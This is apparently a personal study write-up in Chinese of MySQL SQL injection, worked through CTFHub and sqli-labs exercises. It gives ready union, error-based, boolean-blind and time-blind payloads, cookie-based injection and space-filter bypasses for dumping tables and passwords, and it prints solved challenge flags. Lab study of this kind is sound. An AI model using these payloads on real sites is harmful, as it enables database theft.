该SQL注入文档是自己学习过程中的记录汇集(不涉及WAF拦截或参数过滤),文档中涉及到的数据库管理系统为MySQL。现将文档整理出来,留作自己的学习记录历程。每个注入类型将会有一到两个例子辅助说明。

SQL 整型注入

相关知识

一、常用函数

1、database():当前网站使用的数据库。 2、version():当前MySQL版本。 3、user():当前MySQL的用户。

二、关于information_schema的数据库

MySQL默认有information_schema的数据库,该库中有三个表名,功能分别如下:

  • SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME
  • TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMATABLE_NAME
  • COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMATABLE_NAMECOLUMN_NAME

三、union函数

union操作符将两个SQL查询语句连接了起来,当设置某个参数不存在时,由于没有该参数的数据,因此会返回union后的查询语句的结果。

相关练习

CTFHub(整数型注入)

image-20210720104213808

1、先简单试着输入了几个数字测试,到3时就无输出了,接着尝试1 and 1=1成功出结果,1 and 1=2 无结果,SQL语句成功执行,存在注入点。再用联合查询order by测试回显字段数,结果测试到1 order by 3时与前面的输出不同,则字段数为2。

2、接下来就是使用union函数联合搜索了,由于字段数为2,故尝试

-1 union select 1,2

成功执行,回显的字段如下:

image-20210720162314988

说明两个字段位置都可以回显。

3、接下来就是枚举出当前的数据库名,语句如下:

-1 union select 1, databases()

成功出当前库名:

image-20210720155928827

4、当前数据库名出来后接着联合搜索表名,使用语句如下:

-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'

发现在information_schema中查到两张表,如下:

image-20210720161032

5、查到flag表后,接下来就是继续拼接命令查字段名,如下:

-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag'

查找到flag字段:

image-20210720161530240

6、根据库名、表名和字段名查字段值,命令如下:

-1 union select flag,2 from sqli.flag

执行,成功得到flag

image-20210720161957484

SQLI(SERIES-2)

1、先尝试添加一下?id=1'结果报错:

image-20210720171725054

接着再在上面的基础上在加一个'号,继续报错,如下:

image-20210720171910934

同时再用1 and 1=1(成功)和1 and 1=2(失败)命令简单判断了存在的是整型注入,此时根据上述的错误提示确定相关SQL执行语句大致为:

select * from * where id=$id limit 0,1

确定存在有整数注入。

2、使用order by来确定字段数,到1 order by 4时返回错误,可知字段数为3:

image-20210720172256959

3、枚举当前数据库,构造语句为:

-1 union select 1, 2, database()

image-20210720174709025

可知当前数据库名为security。当然此处也可以通过构建语句如下:

-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

即在information_schema表中查看数据库中的库名,如下图:

image-20210720175446894

若库多的话就会不了解当前数据库对应库名,此处除了数据库默认的相关库之外,只有额外的3个库,dvwachallengessecurity,简单排除测试以了解其当前数据库即可。

4、枚举security下的表名,使用的语句如下:

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

成功得到表名:

image-20210720180035937

5、枚举字段名,使用的语句如下:

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

成功拿到相关字段名:

image-20210720180352999

6、枚举字段的数据项,使用的语句如下:

-1 union select 1,group_concat(username),group_concat(password) from users

成功拿到用户名与密码:

image-20210720180903711

SQL 字符型注入

相关知识

字符型SQL注入的关键——引号的闭合

MySQL数据库对于引号的规则如下:

  • 引号必须成对出现,否则数据库就会报错。
  • 如果两个引号之间内容为空,数据库自动忽略。

MySQL 有三种常用注释符:

  • -- :注意,这种注释符后边有一个空格,也可以是--+--%20-- '-- #

  • #:通过#进行注释

  • /* */:注释掉符号内的内容

相关练习

SQLI(SERIES-1)

1、先尝试一下?id=1,此时命令正常执行,如下:

image-20210721111623071

接下来就是判断此SQL是整数型注入还是字符型注入了,基于上条命令在后面添加 ' 尝试一下,此时页面显示错误,可见单引号被后台数据库成功执行,如下:

image-20210721111938416

再在后面添加一个 ' ,此时的SQL执行条件语句为?id=1'',正常执行:

image-20210721112125505

然后在基于and条件命令来验证一下判断,使用1' and 1=1报错,无法进行注入,故加注释来进行绕过,尝试1' and 1=1 -- '成功执行,如下图:

image-20210721114906701

后又执行1' and 1=2 -- ',逻辑判断错误,报错。此时可以根据上述执行结果确定后台执行的SQL命令语句大致为:

select * from * where id='$id' limit 0,1

存在字符型注入。

2、使用order by确定字段数,先拼接的字符串为1' order by 1 --+',当尝试到4的时候返回了错误,则可以确定字段数为3,如下:

image-20210721120745684

3、使用union来判断各字段的类型以及判断能够在页面显示的字段,语句为:

-1' union select 1,2,3 --+'

image-20210721121119026

第二个和第三个字段成功回显。

4、开始枚举数据库名,构造语句为:

-1' union select 1,2,database() --+'

获取到当前数据库名:

image-20210721121325626

5、枚举表名,构造语句为:

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+'

结果如下:

image-20210721121850930

6、枚举字段名,语句为:

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+'

结果如下:

image-20210721122125062

7、枚举字段的字段值,语句如下:

-1' union select 1,group_concat(username),group_concat(password) from users --+'

结果如下:

image-20210721122729290

SQL 报错注入

相关知识

产生原因:MySQL报错注入通过构造相关语句让信息通过错误提示回显出来,主要应用于查询不回现内容,会打印错误信息;Update、insert等语句,会打印相关错误的信息。

主键重复报错

利用floor()函数使SQL语句报错,实际上是由count()rand()group by三个函数语句联合使用造成的。

使用到的相关函数介绍如下:

  • count():该函数返回匹配指定条件的行数。count(*)函数返回表中的记录数。
  • floor():该函数是用来向下取整的,相当于去掉小数部分。
  • rand():该函数是随机取(0,1)中的一个数。但是给它一个参数0后,即rand(0),并且传给floor()后,即:floor(rand(0)*2)它就不再是随机了,是一个序列 0110110。
  • concat():用于连接两个字符串。
  • group by x:根据x的规则对数据进行分组,分组时,MySQL会建立一个临时空表进行分组。
  • 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用,可换其它。

报错注入使用到的相关构造语句如下:

语句一:
select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

语句二:
select count(*) from information_schema.tables group by concat((查询语句),floor(rand(0)*2))

注:该语句将输出字符长度限制为64个字符。

上述两个语句原理基本是相同的,下面由里向外主要分析一下上方第一条相关语句:

上述语句中floor(rand(0)*2)rand()函数会随机产生[0,1)之间的浮点数,如图:

image-20210721182143721

rand()函数可以自己设置随机种子,即rand(N),这个时候产生的随机数是伪随机数,也就是说多次生成的随机数是相同的,如图:

image-20210721182229383

floor(N)函数会返回一个小于或等于传入的参数的最大整数(相当于截断小数部分),如图:

image-20210721182335687

多次尝试后可以看出floor(rand(0)*2)的值是相同的,为011011011,这也是整个报错语句的关键。

接下来分析concat()函数,该函数主要作用是拼接字符串,0x26的ASCII码是&,主要是用于分割其他字符串,就可以快速定位相关信息,括号后面有个x,是as x的简写,即前面语句的另一个名字,主要是为了减少重复复杂的语句。

image-20210721183349680

后面的group by xcount(*)上述函数功能已介绍,其常用用法如下:

image-20210721185203428

最初时,user-count(*)这个数据表是空的,由MySQL临时创建出来的,通过上述命令一行一行读取原数据表mysql.user字段,如果读到的字段在user-count(*)不存在,就将它插入,并且将对应的count(*)赋为1,如果存在,就将其对应的count(*)+1,直至扫完整个数据表。

rand(0)*2报错原理:

原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次。这就是整个语句报错的关键,从上述floor(rand(0)*2)图中可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(这个顺序很重要),相关流程如下:

  1. 查询前默认会建立空的虚拟表
  2. 取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕
  3. 查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕
  4. 查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了
  5. 整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

如果有一个序列开头是0,1,0或者1,0,1,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count(*)加1了

rand()*2报错原理

其实rand()*2报错原理与上述的rand(0)*2原理相同,主要是要保证在开始的查询结果中,不能让虚表中存在0,1键值,不然之后无论多少条记录都不会在报错了,例如随机数:0100011在第一次取数据时插入了1,第二次取数据时插入了0,以后不会再存在主键重复的可能,就不会再报错了,因为表中已经存在0和1这两个数据。 需要注意的是,rand()*2当有两条记录的时候就可以报错(但是不绝对),而rand(0)*2只有当有三条数据记录数及以上才能报错(但是一定可以报错)。

xpath语法错误报错

MySQL 5.1.5开始提供两个XML查询和修改的函数,extractvalue()updatexml()extractvalue()负责在xml文档中按照xpath语法查询节点内容,updatexml()则负责修改查询到的内容。

1、XML函数之ExtractValue()

报错原理:从目标 XML 中返回包含所查询值的字符串。其用法格式如下:

extractvalue(XML_document, XPath_string);

其中:

  • 第一个参数:XML_document是 String 格式,为 XML 文档对象的名称。
  • 第二个参数:XPath_string ( Xpath 格式的字符串)

ExtractValue()函数构造语句如下:

select extractvalue(1,concat(0x26,(查询语句),0x26))

注:extractvalue()只能查询32位及以内长度的字符,当超出32位时,我们要结合mid()substr()或配合right()等函数使其改变输出来进行注入。

示例:

image-20210721175636756

2、XML函数之updatexml()

用法格式:

updatexml(XML_document, XPath_string, new_value);

其中:

  • 第一个参数:XML_document是String格式,为XML文档对象的名称。
  • 第二个参数:XPath_string (Xpath格式的字符串) 。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据 。

updatexml()函数构造语句如下:

select updatexml(1,concat(0x26,(查询语句),0x26),1)

updatexml()函数同ExtractValue()函数只能查询32位及以内长度的字符,当超出32位时,我们要结合mid()substr()或配合right()等函数使其改变输出来进行注入。

示例:

image-20210721175543117

CTFHub(报错注入)

1、简单输入几个数字,皆成功执行,又用and检查了一下,执行的SQL语句类似整数型的注入,测试发现命令只要不是语法错误皆会执行成功并返回“查询正确”的字样,无其他信息,此时使用1 order by 3确认了字段数为2。

image-20210721163206521

2、由于题目是利用报错注入进行,故枚举库名,构造执行语句如下:

-1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x

成功执行,如图:

image-20210721163712047

此处也可以使用语句:

-1 union select count(*),concat((select schema_name from information_schema.schemata limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

然后控制limit语句挨个查看相应库名。

3、枚举表名,将上述语句简单变换一下,即:

-1 union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

控制limit语句成功爆出2个表名,flag表名如下:

image-20210721165349061

4、枚举字段名,构造语句为:

-1 union select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

控制limit语句成功得到相应flag字段名:

image-20210721165709224

5、枚举字段的数值,获得flag,使用语句为:

-1 union select count(*),concat((select flag from sqli.flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

结果如图:

image-20210721165911648

SQL 布尔注入

相关知识

布尔型

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。

盲注

在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容

布尔型盲注

页面在执行SQL语句后,只会显示两种结果,这时可通过构造逻辑表达式的SQL语句来判断数据的具体内容。

使用到的函数功能及介绍如下:

  • length():返回字符串的长度。
  • substring()substr():可以截取字符串,可指定开始的位置和截取的长度,结合ascii()使用。
  • mid():同substring()
  • ord():可以返回单个字符的ASCII码,反之char()函数可将ASCII码转换为对应的字符。
  • ascii():获取字符的ASCII码。

CTFHub(布尔注入)

此处自己根据原理编写了脚本工具完成,遂只记录注入关键过程。

1、猜测数据库中表的数量,构造语句:

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

最后的数值为2时,提示success,说明该库下有两张表:

image-20210722185234459

2、此时我们有表的数量,但无库名,后面也比较难进展下去。故使用ord()substring()函数配合查库名,构造语句为

1 and (select ord(substring(database(),$num,1))) = $ascii_num

其中$num配合substring()函数为你需要查询的字符段,$ascii_num为待查字符的ASCII码,这一过程比较痛苦。因为不知道库名长度及格式情况下要查的挺多,当然此处也可以二分法查找,利用><号锁定范围,根据返回error与success判断区间。

image-20210722190738553

于是,为了减少自己的工程量,此处自己根据原理就编写了一份脚本解决(后续相关查找皆配合自写相关脚本得以解决)。

image-20210722201130258

3、根据上述表的数量得知为2,于是我们再来猜表名长度,构造相关语句:

1 and (select length(table_name) from information_schema.tables where table_schema=database() limit $table_num,1)=$num

其中$table_num值从0开始,$num为阿拉伯数字,表示表的长度。

image-20210722191603558

上图得知第一个表名长度为4,经手工测试发现另一个表名长度也为4。

4、接下来根据表名的长度值确定表名,构造语句为:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit $num1,1),$num2,1))=$ascii_num

其中,$num1为第一个表名值,从0开始,0表示第一个表,$num2为待查询表名字符,由1开始递增,1表示查询表名第一个字符,$ascii_num为ASCII码。

image-20210722191917150

上图查找后第一个表名为news,第二个表名为flag,此处查找借助脚本完成。

5、根据上述表名,在查询表中的字段数,构造语句:

1 and (select count(column_name) from information_schema.columns where table_name='$table_name')=$num

其中$table_name为上述查找到的表名,$num为字段数,即枚举表中有多少字段,此处耗时不长,就两个表需要确认字段。

image-20210722192749247

由上图得知news表有两个字段,而另一张flag表查找后发现就1个字段.

6、根据上述得到的相关字段数确定每一列长度,构造语句为:

1 and length(substr((select column_name from information_schema.columns where table_name='$table_name' limit $​​num1,1),1))=$num2

其中$table_name为待确定的表,$num1为待确定的第几列字段,从0开始,$num2为待确定的该列字段的长度值。

image-20210722193314569

由上图得知flag表第一个字段长度为4,另一张news表经测试发现第一个字段长度为2,第二个字段长度为4。

7、根据字段长度确定字段名,构造语句为:

1 and ascii(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),$num2,1))=$ascii_num

其中$table_name为待确定字段值的表名,$num1为待确定的第几列字段,从0开始,0表示第一个字段,$num2表示该列字段的第几个数值,从1递增,1表示第一个,此处排查很耗费时间,可以借助二分法查找。

image-20210722193930032

由上图得知flag表的第一个字段的第一个值ASCII码值为102,即f,查完后该字段值为flag;另一个表名news的第一个字段名为id,第二个字段名为data。此处为查找方便故使用脚本解决:

image-20210722201317275

8、根据数据库名、表名、字段名确定字段的值,构造语句为:

1 and ascii(substr((select $column_name from $table_name limit $num1,1),$num2,1))=$ascii_num

其中,$column_name为字段名,$table_name为表名,也可以是库名.表名的形式,$num1为第几行的值,从0开始,0表示该字段中的第一行值;$num2表示该行字段的第几个值,从1递增,1表示该字段的第一个值,$ascii_num表示ASCII码。

image-20210722195820424

上图可知,news表中id字段第一行第一个值的ASCII码值为49,即1。由于此处news表不是我们的目标数据表,遂直接跑flag表,直接上脚本跑得flag表,结果如下:

image-20210722201540813

可知flag字段值为ctfhub{1f7aaf763a54c3ec1a39a01f}

SQL 时间盲注

相关知识

时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据

时间盲注一般步骤如下:

  • 构造一个payload,payload内的延迟函数设置参数为t,如果满足某种条件,则延时 t 秒之后返回;否则直接返回。
  • 发送payload,观察执行时间,从而推断出条件是否满足。
  • 重复上述两步,直到推出所有信息。

使用到的函数功能及介绍如下:

  • sleep(t):延时t秒钟。这个函数返回值是0。
  • length(str) :返回str的长度。
  • substring()substr():可以截取字符串,可指定开始的位置和截取的长度,结合ascii()使用。
  • mid():同substring()
  • left(str,len) :字符串左截取函数,返回str的左len个字符。
  • right(str,len) :字符串右截取函数,返回sre的右len个字符。
  • ord():可以返回单个字符的ASCII码,反之char()函数可将ASCII码转换为对应的字符。
  • ascii(str):获取str字符的ASCII码,如果str是空串,则返回0;如果strNULL,则返回NULL
  • if(expr1, expr2, expr3) :逻辑判断函数。如果expr1为真,则执行expr2,否则执行expr3

CTFHub(时间盲注)

此处因时间关系未编写相对完善的脚本了,基于ctfhub技能树的flag字段值皆是在sqli.flag表中,故此处只说明注入流程及实现。

注:SQL语句构造千千万,下方只是个人实践并根据执行逻辑总结出来的语句。

1、根据上述的相关知识,开始尝试注入,先编写语句为:

1 and if(1=1,sleep(3),0) --+

浏览器窗口明显的延迟,故语句注入成功,如图:

image-20210723120116025

后又根据单引号'与右括号的闭合尝试执行),发现均没有执行到if里面的sleep()函数,故可以猜测SQL语句是整型注入的语句。

2、猜一下数据库名的长度值,构造语句为:

1 and if((select count(schema_name) from information_schema.schemata)=$num,sleep(3),1)

其中$num为数据库名的长度值,当值为4的时候,延迟函数执行了,如图:

image-20210723122851015

由此可知数据库名长度为4。

3、知道数据库名长度为4后,开始枚举一下当前的数据库名,构造语句为:

1 and if(ascii(substring(database(),$num,1))=$ascii_num,sleep(3),1) --+

其中$num为该库的第几个字符值,从1开始递增,$ascii_num为对应的ASCII码,此处也可以使用二分法查找,执行后观察控制台,延迟了3秒,故语句执行成功,如图:

image-20210723123345302

上述图可知,ASCII码为115,即数据库名第一个值为s时执行了延迟函数,后面同理推断出数据库名为sqli。

4、根据库名开始枚举表的数量,构造语句为:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=$num,sleep(3),1) --+

其中$num为表的数量值,但该值为2的时候,延迟函数成功执行,如图:

image-20210723124130854

上述图说明库中有2张表,开始下一步。

5、根据表的数量开始查表名的长度值,构造语句为:

1 and if((select length(table_name) from information_schema.tables where table_schema=database() limit $table_num,1)=$num,sleep(3),1) --+

其中$table_num为表的数量值,从0开始,0表示第一张表,$num表示长度值,当$table_num为0$num为4的时候,延迟函数执行,此时可知第一张表的长度为4,如图:

image-20210723124921736

查询另一张表得知另一张表的长度值也为4。

6、根据表的长度值及数量值开始枚举表的字符值,构造语句为:

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit $table_num,1),$num,1))=ascii_num,sleep(3),1)

其中$table_num为待查询的表的列值,0开始递增,0表示第一列的表,$num表示该列表名的第几个字符,1开始递增,1表示第一个,$ascii_num表示ASCII码值。

image-20210723125813557

由上图可知第2张表的第一个字符值ascii码为102时延迟语句执行成功,该ASCII码对应字符为f,继续推断后续的字符值后得知该表名称为flag,另一张表名为news。

7、根据表名开始枚举表中的字段数,构造语句为:

1 and if((select count(column_name) from information_schema.columns where table_name='$table_name')=$num,sleep(3),1)

其中$table_name为待查询的表名,$num为待查询的表名中的字段数。结果如下:

image-20210723130520023

由上图可知flag表中的字段数为1的时候,延迟函数执行,故flag表中只有一个字段;查询另一张news表中有两个字段数。

8、根据字段数、表名开始枚举字段长度,构造语句为:

1 and if((select length(column_name) from information_schema.columns where table_name='$table_name' limit $num1,1)=$num2,sleep(3),1)

其中$table_name为待查询相关字段数的表名,$num1为待查询的第几个字段,从0开始递增,0表示第一个字段,$num2表示字段的长度值,如图:

image-20210723132653229

由图可知,flag表中第一个字段的长度值为4;news表中第一个字段长度值为2,第二个字段长度值为4。

9、根据字段长度枚举字段值,构造语句为:

1 and if(ascii(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),$num2,1))=$ascii_num,sleep(3),1)

其中$table_name表示待查询的表名,$num1表示待查询的字段,0开始递增,0表示第一个字段,$num2表示该字段的第几个字符,1开始递增查询,1表示第一个字符,$ascii_num表示对应ASCII码,如图:

image-20210723133309601

上图可知flag表中第一个字段的第一个字符的ASCII码值为102,即f,延迟函数执行成功。并同理算出完整的字段为flag;news表第一个字段为id,第二个字段为data。

10、根据上述的库名、表名、字段名,就可以开始算字段对应的值了,构造语句为:

1 and if(ascii(substr((select $column_name from $table_name limit $num1,1),$num2,1))=$ascii_num,sleep(3),1)

其中,$column_name为字段名,$table_name为表名,也可以是库名.表名的形式,$num1为第几行的值,从0开始,0表示该字段中的第一行值,$num2表示该行字段的第几个值,从1递增,1表示该字段的第一个值,$ascii_num表示ASCII码。

image-20210723134034318

由上图可知,flag表中的flag字段第一行的第一个字符值的ASCII码值为99,即c,于是根据后面的测试,得到字段值为ctfhub{514f8991817a193a354e1939},提交,成功通过。

SQL Cookie注入

此处的注入点为Cookie字段了,原理是后台在接收Cookie字段时没有对Cookie做过滤。正常情况下,我们在进行渗透测试的时候,Cookie字段也可用作一个注入点。

CTFHub(Cookie注入)

1、这次打开链接发现输入的参数在cookie中了,遂借助EditThisCookie工具修改cookie值提交请求。

image-20210723151526642

2、使用order byunion确定字段值与回显字段后,构造语句:

-1 union select 1,database()

得到当前数据库名,如图:

image-20210723151901323

3、根据库名枚举表名,构造语句为:

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

成功得到表,如图:

image-20210723152107252

4、根据表名枚举字段名,语句为:

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wtosponpou'

成功得到字段名:

image-20210723152216378

5、根据字段名枚举字段值,相关语句为:

-1 union select 1,group_concat(gmbwiemzxe) from sqli.wtosponpou

成功得到flag:

image-20210723152351790

SQL UA注入

注入点变成了浏览器的User-Agent,原理是后台在接收UA时没有对UA做过滤。

注入利用方法同SQL Cookie注入,此处不在概述。

SQL Refer注入

注入点变成了Refer字段,注入原理是后台在接收Refer时没有对Refer做过滤。

注入利用方法同SQL Cookie注入,此处不在概述。

SQL 过滤空格

相关知识

SQL注入时,空格的使用是非常普遍的。比如,我们使用union来取得目标数据,构造语句时在and两侧、union两侧、select的两侧,都需要空格,而过滤空格,也是防注入的一种手段。

其可以绕过的方式如下:

一、注释绕过空格

这是最基本的方法,在一些自动化SQL注入工具中,使用也十分普遍。在MySQL中,用

/*注释*/

来标记注释的内容。比如SQL查询:

select user() from sqli;

我们用注释替换空格,就可以变成:

select/**/user()/**/from/**/sqli;

二、括号绕过空格

空格被过滤,但括号没有被过滤,可通过括号绕过。在MySQL中,括号通常是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

有这样的一条SQL查询:

select user() from sqli where 1=1 and 2=2;

如何把空格减到最少?

观察到user()可以算值,那么user()两边要加括号,变成:

select(user())from sqli where 1=1 and 2=2;

继续,1=1和2=2可以算值,也加括号,去空格,变成:

select(user())from sqli where(1=1)and(2=2);

sqli两边的空格,通常是由程序员自己添加,我们一般无法控制。所以上面就是空格最少的结果。

CTFHub(过滤空格)

1、过滤空格,顾名思义就是将SQL语句中的空格给注释掉。下面将使用注释符进行绕过。老方法,先使用order byunion判断字段数与回显值,构造相关语句:

-1/**/union/**/select/**/1,database()

成功出库名:

image-20210723164042542

2、枚举表名,构造语句为:

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

成功得到表,如图:

image-20210723164153610

3、根据表名枚举字段名,构造语句:

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ptmgnbdssq'

成功得到字段名:

image-202107231643582224、根据字段名枚举字段值,构造语句为:

-1/**/union/**/select/**/1,group_concat(qfbfzkcbul)/**/from/**/sqli.ptmgnbdssq

成功得到flag:

image-20210723164516719